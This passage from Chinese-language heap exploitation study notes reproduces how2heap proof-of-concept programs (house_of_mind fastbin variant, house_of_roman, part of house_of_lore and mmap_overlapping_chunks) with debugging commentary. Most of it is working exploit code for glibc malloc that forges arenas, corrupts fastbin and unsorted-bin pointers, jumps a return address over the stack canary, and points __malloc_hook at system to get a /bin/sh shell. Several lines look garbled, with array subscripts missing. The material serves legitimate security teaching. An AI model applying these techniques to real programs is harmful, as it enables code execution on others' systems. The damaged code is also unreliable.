fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
long offset = (long)__builtin_frame_address(0) - (long)p4;
memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

// sanity check
assert((long)__builtin_return_address(0) == (long)jackpot);
}

```

### 调试







首先申请一个 `0x110`大小的堆块,然后布置栈上两个 `stack_buffer` 结构,即 `stack1_fd->small_chunk`,`stack1_bk->stack2_prev` ,`stack2_fd->stack1_prev`。









申请`0x3f0` 大小的 `chunk` 隔离 `top_chunk` ,然后将 `0x111` 的 `chunk` 放进 `unsorted_bin` ,申请 `(large_chunk)0x4c0` 大小的 `chunk` 触发 `consolidate` 机制再次将其再次放入 `small_bin` 中,并修改其 `bk->stack1_prev`。

此时:

FD:`stack2_fd->stack1_prev;stack1_fd->small_chunk_fd;`

BK:`small_chunk_bk->stack1_prev;stack1_bk->stack2_prev;`



```cpp
// 第二种情况,small bin 中存在空闲的 chunk。
// 找到倒数第二个 chunk(small_chunk)->bk。
bck = victim->bk;
if (__glibc_unlikely(bck->fd != victim)) {
    errstr = "malloc(): smallbin double linked list corrupted";
    goto errout;
}
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset(victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;
```

然后再次申请两个用户区为 `0x100`大小的 `chunk`,第一次申请时绕过以上验证,此时 `bck(stack1)_fd->small_chunk。`,第二次申请同理,要取出 `victim=stack1` ,此时 `stack_2_fd->stack_1_prev; stack1_bk->stack2_prev`。





然后申请两次 `0x110` 大小的 `chunk`,分别为 `p3` `p4`,会将 `small_chunk`和 `stack1` 取出来,然后覆盖 `main` 返回地址为目标函数地址即可完成任意地址写。

## house_of_mind_fastbin

### 源码

```cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <assert.h>

/*

House of Mind - Fastbin Variant
==========================

This attack is similar to the original 'House of Mind' in that it uses
a fake non-main arena in order to write to a new location. This
uses the fastbin for a WRITE-WHERE primitive in the 'fastbin'
variant of the original attack though. The original write for this
can be found at https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt with a more recent post (by me) at https://maxwelldulin.com/BlogPost?post=2257705984.

By being able to allocate an arbitrary amount of chunks, a single byte
overwrite on a chunk size and a memory leak, we can control a super
powerful primitive.

This could be used in order to write a freed pointer to an arbitrary
location (which seems more useful). Or, this could be used as a
write-large-value-WHERE primitive (similar to unsortedbin attack).
Both are interesting in their own right though but the first
option is the most powerful primitive, given the right setting.

Malloc chunks have a specified size and this size information
special metadata properties (prev_inuse, mmap chunk and non-main arena).
The usage of non-main arenas is the focus of this exploit. For more information
on this, read https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/.

First, we need to understand HOW the non-main arena is known from a chunk.

This the 'heap_info' struct:

struct _heap_info
{
mstate ar_ptr;         // Arena for this heap. <--- Malloc State pointer
struct _heap_info *prev; // Previous heap.
size_t size;            // Current size in bytes.
size_t mprotect_size;   // Size in bytes that has been mprotected
char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment
} heap_info;
- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L48

The important thing to note is that the 'malloc_state' within
an arena is grabbed from the ar_ptr, which is the FIRST entry
of this. Malloc_state == mstate == arena

The main arena has a special pointer. However, non-main arenas (mstate)
are at the beginning of a heap section. They are grabbed with the
following code below, where the user controls the 'ptr' in 'arena_for_chunk':

#define heap_for_ptr(ptr) \
((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))
#define arena_for_chunk(ptr) \
(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L127

This macro takes the 'ptr' and subtracts a large value because the
'heap_info' should be at the beginning of this heap section. Then,
using this, it can find the 'arena' to use.

The idea behind the attack is to use a fake arena to write pointers
to locations where they should not go but abusing the 'arena_for_chunk'
functionality when freeing a fastbin chunk.

This POC does the following things:
- Finds a valid arena location for a non-main arena.
- Allocates enough heap chunks to get to the non-main arena location where
we can control the values of the arena data.
- Creates a fake 'heap_info' in order to specify the 'ar_ptr' to be used as the arena later.
- Using this fake arena (ar_ptr), we can use the fastbin to write
to an unexpected location of the 'ar_ptr' with a heap pointer.

Requirements:
- A heap leak in order to know where the fake 'heap_info' is located at.
    - Could be possible to avoid with special spraying techniques
- An unlimited amount of allocations
- A single byte overflow on the size of a chunk
    - NEEDS to be possible to put into the fastbin.
    - So, either NO tcache or the tcache needs to be filled.
- The location of the malloc state(ar_ptr) needs to have a value larger
than the fastbin size being freed at malloc_state.system_mem otherwise
the chunk will be assumed to be invalid.
    - This can be manually inserted or CAREFULLY done by lining up
      values in a proper way.
- The NEXT chunk, from the one that is being freed, must be a valid size
(again, greater than 0x20 and less than malloc_state.system_mem)


Random perks:
- Can be done MULTIPLE times at the location, with different sized fastbin
chunks.
- Does not brick malloc, unlike the unsorted bin attack.
- Only has three requirements: Infinite allocations, single byte buffer overflowand a heap memory leak.



************************************
Written up by Maxwell Dulin (Strikeout)
************************************
*/

int main()
{
    printf("House of Mind - Fastbin Variant\n");
    puts("==================================");
    printf("The goal of this technique is to create a fake arena\n");
    printf("at an offset of HEAP_MAX_SIZE\n");

    printf("Then, we write to the fastbins when the chunk is freed\n");
    printf("This creates a somewhat constrained WRITE-WHERE primitive\n");
    // Values for the allocation information.
    int HEAP_MAX_SIZE = 0x4000000;
    int MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635

    printf("Find initial location of the heap\n");
    // The target location of our attack and the fake arena to use
    uint8_t* fake_arena = malloc(0x1000);
    uint8_t* target_loc = fake_arena + 0x28;

    uint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;

    /*
    Prepare a valid 'malloc_state' (arena) 'system_mem'
    to store a fastbin. This is important because the size
    of a chunk is validated for being too small or too large
    via the 'system_mem' of the 'malloc_state'. This just needs
    to be a value larger than our fastbin chunk.
    */
    printf("Set 'system_mem' (offset 0x880) for fake arena\n");
    fake_arena = 0xFF;
    fake_arena = 0xFF;
    fake_arena = 0xFF;

    printf("Target Memory Address for overwrite: %p\n", target_loc);
    printf("Must set data at HEAP_MAX_SIZE (0x%x) offset\n", HEAP_MAX_SIZE);

    // Calculate the location of our fake arena
    uint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);
    uint64_t* fake_heap_info = (uint64_t*) new_arena_value;

    uint64_t* user_mem = malloc(MAX_SIZE);
    printf("Fake Heap Info struct location: %p\n", fake_heap_info);
    printf("Allocate until we reach a MAX_HEAP_SIZE offset\n");

    /*
    The fake arena must be at a particular offset on the heap.
    So, we allocate a bunch of chunks until our next chunk
    will be in the arena. This value was calculated above.
    */
    while((long long)user_mem < new_arena_value){
      user_mem = malloc(MAX_SIZE);
    }

    // Use this later to trigger craziness
    printf("Create fastbin sized chunk to be victim of attack\n");
    uint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60
    uint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem
    printf("Fastbin Chunk to overwrite: %p\n", fastbin_chunk);

    /*
    Create a FAKE malloc_state pointer for the heap_state
    This is the 'ar_ptr' of the 'heap_info' struct shown above.
    This is the first entry in the 'heap_info' struct at offset 0x0
   at the heap.

    We set this to the location where we want to write a value to.
    The location that gets written to depends on the fastbin chunk
    size being freed. This will be between an offset of 0x8 and 0x40
    bytes. For instance, a chunk with a size of 0x20 would be in the
    0th index of fastbinsY struct. When this is written to, we will
    write to an offset of 8 from the original value written.
    - https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686
    */
    printf("Setting 'ar_ptr' (our fake arena)in heap_info struct to %p\n", fake_arena);
    fake_heap_info = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena)
    printf("Target Write at %p prior to exploitation: 0x%x\n", target_loc, *(target_loc));

    /*
    Set the non-main arena bit on the size.
    Additionally, we keep the size the same as the original
    allocation because there is a sanity check on the fastbin (when freeing)
    that the next chunk has a valid size.

    When grabbing the non-main arena, it will use our choosen arena!
    From there, it will write to the fastbin because of the size of the
    chunk.

    ///// Vulnerability! Overwriting the chunk size
    */
    printf("Set non-main arena bit on the fastbin chunk\n");
    puts("NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\n");
    chunk_ptr = 0x60 | 0x4; // Setting the non-main arena bit

    //// End vulnerability

    /*
    The offset being written to with the fastbin chunk address
    depends on the fastbin BEING used and the malloc_state itself.
    In 2.23, the offset from the beginning of the malloc_state
    to the fastbinsY array is only 0x8. Then, fastbinsY is an
    additional byte offset of 0x20. In total, the writing offset
    from the arena location is 0x28 bytes.
    from the arena location to where the write actually occurs.
    This is a similar concept to bk - 0x10 from the unsorted
    bin attack.
    */
    printf("When we free the fastbin chunk with the non-main arena bit\n");
    printf("set, it will cause our fake 'heap_info' struct to be used.\n");
    printf("This will dereference our fake arena location and write\n");
    printf("the address of the heap to an offset of the arena pointer.\n");

    printf("Trigger the magic by freeing the chunk!\n");
    free(fastbin_chunk); // Trigger the madness

    // For this particular fastbin chunk size, the offset is 0x28.
    printf("Target Write at %p: 0x%llx\n", target_loc, *((unsigned long long*) (target_loc)));
    assert(*((unsigned long *) (target_loc)) != 0);
}
```

### 基础知识

`2.23`版本和 `2.27` 以后间 `fastbinY` 数组的偏移不同,`2.23` 为 `0x38` ,`2.27` 以后加入了 `have_fastchunks `,需要向后偏移 `0x8` 字节,即偏移为 `0x40`。`2.23` 的`malloc_state` 及 `_heap_info` 源码如下:

```cpp
struct malloc_state
{
/* Serialize access.*/
mutex_t mutex;

/* Flags (formerly in max_fast).*/
int flags;

/* Fastbins */
mfastbinptr fastbinsY;

/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;

/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;

/* Normal bins packed as described above */
mchunkptr bins;

/* Bitmap of bins */
unsigned int binmap;

/* Linked list */
struct malloc_state *next;

/* Linked list for free arenas.Access to this field is serialized
   by free_list_lock in arena.c.*/
struct malloc_state *next_free;

/* Number of threads attached to this arena.0 if the arena is on
   the free list.Access to this field is serialized by
   free_list_lock in arena.c.*/
INTERNAL_SIZE_T attached_threads;

/* Memory allocated from the system in this arena.*/
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
```

```cpp
typedef struct _heap_info
{
mstate ar_ptr; /* Arena for this heap. */
struct _heap_info *prev; /* Previous heap. */
size_t size;   /* Current size in bytes. */
size_t mprotect_size; /* Size in bytes that has been mprotected
                           PROT_READ|PROT_WRITE.*/
/* Make sure the following data is properly aligned, particularly
   that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
   MALLOC_ALIGNMENT. */
char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;
```





### 调试





`target_loc` 位置在 `fake_arena_chunk + 0x30`处,也就是 `fake_arena_fastbinY` 处,因为我们要申请的 `fast_chunk` 大小为 `0x60`。



`system_mem` 标识这个 `arena` 管理的空间大小,请求的内存不能大于 `system_mem` 。





在系统堆初始化之后,将堆的大小定为 `0x4000000`,因此后面申请的假 `arena` 管理的地址在这个堆之后,要计算这个堆的起始地址,程序中这个地址为 `0x4000000`。`MAX_SIZE` 大小为 `0x1ff00 < 0x20000`也就不会触发 `mmap` 申请机制。



一直分配 `MAX_SIZE` 大小的 `chunk` 直到系统的 `main_heap` 被申请完。





在新的堆区申请 `0x60` 大小的 `fast_chunk`。





`fake_heap_info==ar_ptr -> fake_arena` 将 `ar_ptr` 指针指向我们的 `fake_arena`,`ar_ptr` 指针指向一个为该堆服务的`arena`。



`fastbin_chunk_size = 0x60 | 0x4(0100B)` 将 `NON_MAIN_ARENA` 置为 `1` ,标明其不在主堆区。



`free(fastbin_chunk_fd)`后,将会把它链接到 `fake_heap_info_ar_ptr` 指向 `fake_arena` 的 `fastbinY (0x60)` 处,也就是 `0x603448` 处。



此时完成利用成功将目标地址内容写为 `fastbin_chunk_prev_addr` 。

## house_of_roman

`glibc < 2.29`

编译选项: `gcc -g house_of_roman.c -fpie -pie -ldl -o house_of_roman`

除了 `libc-2.23.so` 和 `ld-2.23.so` 需要 `patch` 以外,还需要 `patch` 一下 `libdl-2.23.so`

`patchelf --replace-needed libdl.so.2 ./libdl-2.23.so house_of_roman`

### 源码

```cpp
#define _GNU_SOURCE   /* for RTLD_NEXT */
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <malloc.h>
#include <dlfcn.h>

char* shell = "/bin/sh\x00";

/*
Technique was tested on GLibC 2.23, 2.24 via the glibc_build.sh script inside of how2heap on Ubuntu 16.04. 2.25 was tested on Ubuntu 17.04.

Compile: gcc -fPIE -pie house_of_roman.c -o house_of_roman

POC written by Maxwell Dulin (Strikeout)
*/

// Use this in order to turn off printf buffering (messes with heap alignment)
void* init(){
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
}


int main(){

    /*
    The main goal of this technique is to create a **leakless** heap
    exploitation technique in order to get a shell. This is mainly
    done using **relative overwrites** in order to get pointers in
    the proper locations without knowing the exact value of the pointer.

    The first step is to get a pointer inside of __malloc_hook. This
    is done by creating a fastbin bin that looks like the following:
    ptr_to_chunk -> ptr_to_libc. Then, we alter the ptr_to_libc
   (with a relative overwrite) to point to __malloc_hook.
            
    The next step is to run an unsorted bin attack on the __malloc_hook
    (which is now controllable from the previous attack).Again, we run
    the unsorted_bin attack by altering the chunk->bk with a relative overwrite.

    Finally, after launching the unsorted_bin attack to put a libc value
    inside of __malloc_hook, we use another relative overwrite on the
    value of __malloc_hook to point to a one_gadget, system or some other function.
   
    Now, the next time we run malloc we pop a shell! :)
    However, this does come at a cost: 12 bits of randomness must be
    brute forced (0.02% chance) of working.

    The original write up for the *House of Roman* can be found at
   https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc#assumptions.





    This technique requires the ability to edit fastbin and unsorted bin
    pointers via UAF or overflow of some kind. Additionally, good control
    over the allocations sizes and freeing is required for this technique.
    */

    char* introduction = "\nWelcome to the House of Roman\n\n"
               "This is a heap exploitation technique that is LEAKLESS.\n"
               "There are three stages to the attack: \n\n"
               "1. Point a fastbin chunk to __malloc_hook.\n"
               "2. Run the unsorted_bin attack on __malloc_hook.\n"
               "3. Relative overwrite on main_arena at __malloc_hook.\n\n"
               "All of the stuff mentioned above is done using two main concepts:\n"
                           "relative overwrites and heap feng shui.\n\n"
               "However, this technique comes at a cost:\n"
                           "12-bits of entropy need to be brute forced.\n"
               "That means this technique only work 1 out of every 4096 tries or 0.02%.\n"
               "**NOTE**: For the purpose of this exploit, we set the random values in order to make this consisient\n\n\n";
    puts(introduction);   
    init();


    /*   
    Part 1: Fastbin Chunk points to __malloc_hook

    Getting the main_arena in a fastbin chunk ordering is the first step.
    This requires a ton of heap feng shui in order to line this up properly.
    However, at a glance, it looks like the following:

    First, we need to get a chunk that is in the fastbin with a pointer to
    a heap chunk in the fd.
    Second, we point this chunk to a pointer to LibC (in another heap chunk).
    All of the setup below is in order to get the configuration mentioned
    above setup to perform the relative overwrites. ";


    Getting the pointer to libC can be done in two ways:
            - A split from a chunk in the small/large/unsorted_bins
                gets allocated to a size of 0x70.
            - Overwrite the size of a small/large chunk used previously to 0x71.

    For the sake of example, this uses the first option because it
    requires less vulnerabilities.   
    */

    puts("Step 1: Point fastbin chunk to __malloc_hook\n\n");
    puts("Setting up chunks for relative overwrites with heap feng shui.\n");

    // Use this as the UAF chunk later to edit the heap pointer later to point to the LibC value.   
    uint8_t* fastbin_victim = malloc(0x60);

    // Allocate this in order to have good alignment for relative
    // offsets later (only want to overwrite a single byte to prevent
    // 4 bits of brute on the heap).
    malloc(0x80);

    // Offset 0x100
    uint8_t* main_arena_use = malloc(0x80);
   
    // Offset 0x190
    // This ptr will be used for a relative offset on the 'main_arena_use' chunk
    uint8_t* relative_offset_heap = malloc(0x60);
   
    // Free the chunk to put it into the unsorted_bin.
    // This chunk will have a pointer to main_arena + 0x68 in both the fd and bk pointers.
    free(main_arena_use);
   

    /*
    Get part of the unsorted_bin chunk (the one that we just freed).
    We want this chunk because the fd and bk of this chunk will
    contain main_arena ptrs (used for relative overwrite later).

    The size is particularly set at 0x60 to put this into the 0x70 fastbin later.

    This has to be the same size because the __malloc_hook fake
    chunk (used later) uses the fastbin size of 0x7f. There is
   a security check (within malloc) that the size of the chunk matches the fastbin size.
    */

    puts("Allocate chunk that has a pointer to LibC main_arena inside of fd ptr.\n");
//Offset 0x100. Has main_arena + 0x68 in fd and bk.
    uint8_t* fake_libc_chunk = malloc(0x60);

    //// NOTE: This is NOT part of the exploit... \\\
    // The __malloc_hook is calculated in order for the offsets to be found so that this exploit works on a handful of versions of GLibC.
    long long __malloc_hook = ((long*)fake_libc_chunk) - 0xe8;


    // We need the filler because the overwrite below needs
    // to have a ptr in the fd slot in order to work.
    //Freeing this chunk puts a chunk in the fd slot of 'fastbin_victim' to be used later.
    free(relative_offset_heap);   

      /*
      Create a UAF on the chunk. Recall that the chunk that fastbin_victim
    points to is currently at the offset 0x190 (heap_relative_offset).
         */
    free(fastbin_victim);

    /*

    Now, we start doing the relative overwrites, since that we have
    the pointers in their proper locations. The layout is very important to
    understand for this.

    Current heap layout:
    0x0:   fastbin_victim       - size 0x70
    0x70:alignment_filler   - size 0x90
    0x100: fake_libc_chunk      - size 0x70
    0x170: leftover_main      - size 0x20
    0x190: relative_offset_heap - size 0x70

    bin layout:
            fastbin:fastbin_victim -> relative_offset_heap
            unsorted: leftover_main
   
    Now, the relative overwriting begins:
    Recall that fastbin_victim points to relative_offset_heap
    (which is in the 0x100-0x200 offset range). The fastbin uses a singly
    linked list, with the next chunk in the 'fd' slot.

    By *partially* editing the fastbin_victim's last byte (from 0x90
    to 0x00) we have moved the fd pointer of fastbin_victim to
    fake_libc_chunk (at offset 0x100).

    Also, recall that fake_libc_chunk had previously been in the unsorted_bin.
    Because of this, it has a fd pointer that points to main_arena + 0x68.

    Now, the fastbin looks like the following:
    fastbin_victim -> fake_libc_chunk ->(main_arena + 0x68).


    The relative overwrites (mentioned above) will be demonstrates step by step below.
   
    */


    puts("\
Overwrite the first byte of a heap chunk in order to point the fastbin chunk\n\
to the chunk with the LibC address\n");
    puts("\
Fastbin 0x70 now looks like this:\n\
heap_addr -> heap_addr2 -> LibC_main_arena\n");
    fastbin_victim = 0x00; // The location of this is at 0x100. But, we only want to overwrite the first byte. So, we put 0x0 for this.
   

    /*
    Now, we have a fastbin that looks like the following:
            0x70: fastbin_victim -> fake_libc_chunk -> (main_arena + 0x68)
   
    We want the fd ptr in fake_libc_chunk to point to something useful.
    So, let's edit this to point to the location of the __malloc_hook.
    This way, we can get control of a function ptr.

    To do this, we need a valid malloc size. Within the __memalign_hook
    is usually an address that usually starts with 0x7f.
    Because __memalign_hook value is right before this are all 0s,
    we could use a misaligned chunk to get this to work as a valid size in
    the 0x70 fastbin.

    This is where the first 4 bits of randomness come into play.
    The first 12 bits of the LibC address are deterministic for the address.
    However, the next 4 (for a total of 2 bytes) are not.
   
    So, we have to brute force 2^4 different possibilities (16)
    in order to get this in the correct location. This 'location'
    is different for each version of GLibC (should be noted).

    After doing this relative overwrite, the fastbin looks like the following:
            0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23).

    */
   
    /*
    Relatively overwrite the main_arena pointer to point to a valid
    chunk close to __malloc_hook.

    ///// NOTE: In order to make this exploit consistent
    (not brute forcing with hardcoded offsets), we MANUALLY set the values. \\\

    In the actual attack, this values would need to be specific
    to a version and some of the bits would have to be brute forced
    (depending on the bits).
    */

puts("\
Use a relative overwrite on the main_arena pointer in the fastbin.\n\
Point this close to __malloc_hook in order to create a fake fastbin chunk\n");
    long long __malloc_hook_adjust = __malloc_hook - 0x23; // We substract 0x23 from the malloc because we want to use a 0x7f as a valid fastbin chunk size.

    // The relative overwrite
    int8_t byte1 = (__malloc_hook_adjust) & 0xff;   
    int8_t byte2 = (__malloc_hook_adjust & 0xff00) >> 8;
    fake_libc_chunk = byte1; // Least significant bytes of the address.
    fake_libc_chunk = byte2; // The upper most 4 bits of this must be brute forced in a real attack.

    // Two filler chunks prior to the __malloc_hook chunk in the fastbin.
    // These are fastbin_victim and fake_libc_chunk.
    puts("Get the fake chunk pointing close to __malloc_hook\n");
    puts("\
In a real exploit, this would fail 15/16 times\n\
because of the final half byet of the malloc_hook being random\n");   
    malloc(0x60);
    malloc(0x60);

    // If the 4 bit brute force did not work, this will crash because
    // of the chunk size not matching the bin for the chunk.
    // Otherwise, the next step of the attack can begin.
    uint8_t* malloc_hook_chunk = malloc(0x60);   

    puts("Passed step 1 =)\n\n\n");

    /*
    Part 2: Unsorted_bin attack

    Now, we have control over the location of the __malloc_hook.
    However, we do not know the address of LibC still. So, we cannot
    do much with this attack. In order to pop a shell, we need
    to get an address at the location of the __malloc_hook.

    We will use the unsorted_bin attack in order to change the value
    of the __malloc_hook with the address of main_arena + 0x68.
    For more information on the unsorted_bin attack, review
    https://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsorted_bin_attack.c.

    For a brief overview, the unsorted_bin attack allows us to write
    main_arena + 0x68 to any location by altering the chunk->bk of
    an unsorted_bin chunk. We will choose to write this to the
    location of __malloc_hook.

    After we overwrite __malloc_hook with the main_arena, we will
    edit the pointer (with a relative overwrite) to point to a
    one_gadget for immediate code execution.
            
    Again, this relative overwrite works well but requires an additional
    1 byte (8 bits) of brute force.
    This brings the chances of a successful attempt up to 12 bits of
    randomness. This has about a 1/4096 or a 0.0244% chance of working.

   
    The steps for phase two of the attack are explained as we go below.
    */

    puts("\
Start Step 2: Unsorted_bin attack\n\n\
The unsorted bin attack gives us the ability to write a\n\
large value to ANY location. But, we do not control the value\n\
This value is always main_arena + 0x68. \n\
We point the unsorted_bin attack to __malloc_hook for a \n\
relative overwrite later.\n");


    // Get the chunk to corrupt. Add another ptr in order to prevent consolidation upon freeing.
   
    uint8_t* unsorted_bin_ptr = malloc(0x80);   
    malloc(0x30); // Don't want to consolidate

    puts("Put chunk into unsorted_bin\n");
    // Free the chunk to create the UAF
    free(unsorted_bin_ptr);

    /* /// NOTE: The last 4 bits of byte2 would have been brute forced earlier. \\\
   However, for the sake of example, this has been calculated dynamically.
    */
    __malloc_hook_adjust = __malloc_hook - 0x10; // This subtract 0x10 is needed because of the chunk->fd doing the actual overwrite on the unsorted_bin attack.
    byte1 = (__malloc_hook_adjust) & 0xff;   
    byte2 = (__malloc_hook_adjust & 0xff00) >> 8;


    // Use another relative offset to overwrite the ptr of the chunk->bk pointer.
    // From the previous brute force (4 bits from before) we
    // know where the location of this is at. It is 5 bytes away from __malloc_hook.
    puts("Overwrite last two bytes of the chunk to point to __malloc_hook\n");
    unsorted_bin_ptr = byte1; // Byte 0 of bk.   

    // //// NOTE: Normally, the second half of the byte would HAVE to be brute forced. However, for the sake of example, we set this in order to make the exploit consistent. ///
    unsorted_bin_ptr = byte2; // Byte 1 of bk. The second 4 bits of this was brute forced earlier, the first 4 bits are static.
   
    /*
    Trigger the unsorted bin attack.
    This will write the value of (main_arena + 0x68) to whatever is in the bk ptr + 0x10.

    A few things do happen though:
      - This makes the unsorted bin (hence, small and large too)
         unusable. So, only allocations previously in the fastbin can only be used now.
      - If the same size chunk (the unsorted_bin attack chunk)
         is NOT malloc'ed, the program will crash immediately afterwards.
         So, the allocation request must be the same as the unsorted_bin chunk.


    The first point is totally fine (in this attack). But, in more complicated
    programming, this can be an issue.
    The second just requires us to do the same size allocaton as the current chunk.

    */

    puts("Trigger the unsorted_bin attack\n");
    malloc(0x80); // Trigger the unsorted_bin attack to overwrite __malloc_hook with main_arena + 0x68

    long long system_addr = (long long)dlsym(RTLD_NEXT, "system");

    puts("Passed step 2 =)\n\n\n");
    /*
    Step 3: Set __malloc_hook to system
   
    The chunk itself is allocated 19 bytes away from __malloc_hook.
    So, we use a realtive overwrite (again) in order to partially overwrite
    the main_arena pointer (from unsorted_bin attack) to point to system.

    In a real attack, the first 12 bits are static (per version).
    But, after that, the next 12 bits must be brute forced.

    /// NOTE: For the sake of example, we will be setting these values, instead of brute forcing them. \\\
    */

    puts("Step 3: Set __malloc_hook to system/one_gadget\n\n");
    puts("\
Now that we have a pointer to LibC inside of __malloc_hook (from step 2), \n\
we can use a relative overwrite to point this to system or a one_gadget.\n\
Note: In a real attack, this would be where the last 8 bits of brute forcing\n\
comes from.\n");
    malloc_hook_chunk = system_addr & 0xff; // The first 12 bits are static (per version).

    malloc_hook_chunk = (system_addr >> 8) & 0xff;// The last 4 bits of this must be brute forced (done previously already).
    malloc_hook_chunk = (system_addr >> 16) & 0xff;// The last byte is the remaining 8 bits that must be brute forced.
    malloc_hook_chunk = (system_addr >> 24) & 0xff; // If the gap is between the data and text section is super wide, this is also needed. Just putting this in to be safe.


    // Trigger the malloc call for code execution via the system call being ran from the __malloc_hook.
    // In a real example, you would probably want to use a one_gadget.
    // But, to keep things portable, we will just use system and add a pointer to /bin/sh as the parameter
    // Although this is kind of cheating (the binary is PIE), if the binary was not PIE having a pointer into the .bss section would work without a single leak.
    // To get the system address (eariler on for consistency), the binary must be PIE though. So, the address is put in here.
    puts("Pop Shell!");
    malloc((long long)shell);
}
```

### 调试



部署如上 `chunk`,从上到下分别为 `fastbin_victim` ,`obstruct`,`main_arena_use`,`relative_offset_heap`。


将 `main_arena_use` 放进 `unsorted_bin`。



再次申请 `0x70` 大小的 `chunk: fake_libc_chunk` ,拆分 `main_arena_use`。



利用 `fake_libc_chunk` 中保存的 `libc` 地址和固定偏移 `glibc_2.23为0xe8(每个版本基本都不同)` 计算出 `__malloc_hook` 地址。



依次释放 `relative_offset_heap`,`fastbin_victim` 。



将 `fastbin_victim` 的 `fd` 指针的末尾两位改为 `0`,那么将会把 `fake_libc_chunk` 链接进 `fastbinY(0x70)` 中。





`glibc_2.23` 版本在 `__malloc_hook-0x23` 处存在 `0x7f` 大小的 `fake_fast` ,我们将 `fake_libc_chunk` 的 `fd` 指针指向 `fake_fast_malloc_hook`。



申请 `3` 次 `0x70` 大小的 `chunk`,可以将 `fake_fast_malloc_hook` 申请出来。







因为 `__malloc_hook` 和 `system` 的地址差异较大,需要更改的字节较多,所以我们通过 `unsorted_bin attack(前文有介绍,不再赘述)` 将其改为 `main_arena + 0x58` 处的地址,再将其改为 `system` 地址即可。




从 `19(0x13,也就是 0x23-0x8_fd-0x8_bk)` 处开始按字节写入后 `system` 几位地址 ,再去 `"malloc("/bin/sh\x00")"` 即可 `getshell` 。

## mmap_overlapping_chunks

### 源码

```cpp
#include <stdlib.h>
#include <stdio.h>
#include <assert.h>

/*
Technique should work on all versions of GLibC
Compile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`

POC written by POC written by Maxwell Dulin (Strikeout)
*/
int main(){
    /*
    A primer on Mmap chunks in GLibC
    ==================================
    In GLibC, there is a point where an allocation is so large that malloc
    decides that we need a seperate section of memory for it, instead
    of allocating it on the normal heap. This is determined by the mmap_threshold var.
    Instead of the normal logic for getting a chunk, the system call *Mmap* is
    used. This allocates a section of virtual memory and gives it back to the user.

    Similarly, the freeing process is going to be different. Instead
    of a free chunk being given back to a bin or to the rest of the heap,
    another syscall is used: *Munmap*. This takes in a pointer of a previously
    allocated Mmap chunk and releases it back to the kernel.

    Mmap chunks have special bit set on the size metadata: the second bit. If this
    bit is set, then the chunk was allocated as an Mmap chunk.

    Mmap chunks have a prev_size and a size. The *size* represents the current
    size of the chunk. The *prev_size* of a chunk represents the left over space
    from the size of the Mmap chunk (not the chunks directly belows size).
    However, the fd and bk pointers are not used, as Mmap chunks do not go back
    into bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of
    the chunk must be page-aligned.

    The POC below is essentially an overlapping chunk attack but on mmap chunks.
    This is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c.
    The main difference is that mmapped chunks have special properties and are
    handled in different ways, creating different attack scenarios than normal
    overlapping chunk attacks. There are other things that can be done,
    such as munmapping system libraries, the heap itself and other things.
    This is meant to be a simple proof of concept to demonstrate the general
    way to perform an attack on an mmap chunk.

    For more information on mmap chunks in GLibC, read this post:
    http://tukan.farm/2016/07/27/munmap-madness/
    */

    int* ptr1 = malloc(0x10);

    printf("This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\n");
    printf("Extremely large chunks are special because they are allocated in their own mmaped section\n");
    printf("of memory, instead of being put onto the normal heap.\n");
    puts("=======================================================\n");
    printf("Allocating three extremely large heap chunks of size 0x100000 \n\n");
      
    long long* top_ptr = malloc(0x100000);
    printf("The first mmap chunk goes directly above LibC: %p\n",top_ptr);

    // After this, all chunks are allocated downwards in memory towards the heap.
    long long* mmap_chunk_2 = malloc(0x100000);
    printf("The second mmap chunk goes below LibC: %p\n", mmap_chunk_2);

    long long* mmap_chunk_3 = malloc(0x100000);
    printf("The third mmap chunk goes below the second mmap chunk: %p\n", mmap_chunk_3);

    printf("\nCurrent System Memory Layout \n" \
            "================================================\n" \
            "running program\n" \
            "heap\n" \
            "....\n" \
            "third mmap chunk\n" \
            "second mmap chunk\n" \
            "LibC\n" \
            "....\n" \
            "ld\n" \
            "first mmap chunk\n"
            "===============================================\n\n" \
            );

    printf("Prev Size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-2]);
